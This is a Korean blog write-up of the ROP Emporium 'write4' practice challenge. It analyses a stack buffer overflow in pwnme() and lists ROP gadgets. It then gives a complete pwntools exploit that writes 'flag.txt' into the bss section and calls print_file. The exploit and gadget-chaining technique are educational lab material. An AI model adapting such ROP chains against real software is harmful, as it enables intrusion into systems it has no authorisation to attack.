[ROP Emporium] write4 (재)
System/PWNABLE

[ROP Emporium] write4 (재)

Check

- Partial RELRO --> got 덮어 쓸 수 있음

- NX 

Analyze

pseudo code (IDA pro)

main 함수에서 라이브러리 함수인 pwnme()를 호출한다.

 

libwrite4.so

0x20 byte만큼 할당한 스택 버퍼 s에 read함수를 통해 0x200 byte까지 입력받을 수 있도록 하면서 버퍼 오버플로우 취약점이 발생한다.

write4 (바이너리 파일) - usefulFunction()

라이브러리 함수인 print_file을 호출해 "nonexistent"라는 인자를 전달하고 있다.

>> 여기서 "nonexistent"의 값을 flag.txt로 바꿔서 플래그를 출력할 수 있도록 해야할 것 같다!!

gadgets

pop rdi ; ret ; = 0x400693

printf_file함수를 호출하는 영역: 0x400620

 

그 아래를 살펴보니 usefulGadgets 라는 함수? 부분이 있었다!

레지스터 r15에 저장되어있는 값을 r14의 주소영역에 저장한다. 따라서 우리가 원하는 대로 흐름을 만들기 위해서는 "pop r14 ; pop 15 ; "가젯을 찾아 r14에는 원하는 주소값을, r15에는 r14에 저장한 주소값에 최종적으로 들어갈 값을 넣어주고 usefulGadgets를 이용해 r14에 저장된 주소값에 원하는 값을 저장하게 된다.

⇒ bss영역의 주소값을 r14에 저장하고, "flag.txt"라는 문자열을 r15에 저장한다. 

pop r14 ; pop r15 ; ret ; = 0x400690

bss 영역이 0x601038부터 시작되므로

writableArea = 0x601040 쯤으로 하겠다!

Exploit

from pwn import *

p = process("./write4")
elf = ELF("./write4")
libc = elf.libc

pdi = 0x400693
call_pf = 0x400620
p1415 = 0x400690
m1415 = 0x400628
writableArea = 0x601040

pl = "A"*(0x20 + 8)
pl += p64(p1415)
pl += p64(writableArea)
pl += str("flag.txt")
pl += p64(m1415)

pl += p64(pdi)
pl += p64(writableArea)
pl += p64(call_pf)

p.sendlineafter("> ", pl)
p.interactive()

SMALL

'System > PWNABLE' 카테고리의 다른 글

[pwnable.xyz] add  (0) 2021.05.12
[HackCTF] Register  (0) 2021.04.29
[HackCTF] Unexploitable_1  (0) 2021.04.17
[ROP Emporium] callme  (0) 2021.04.02
[ROP Emporium] split32  (0) 2021.03.26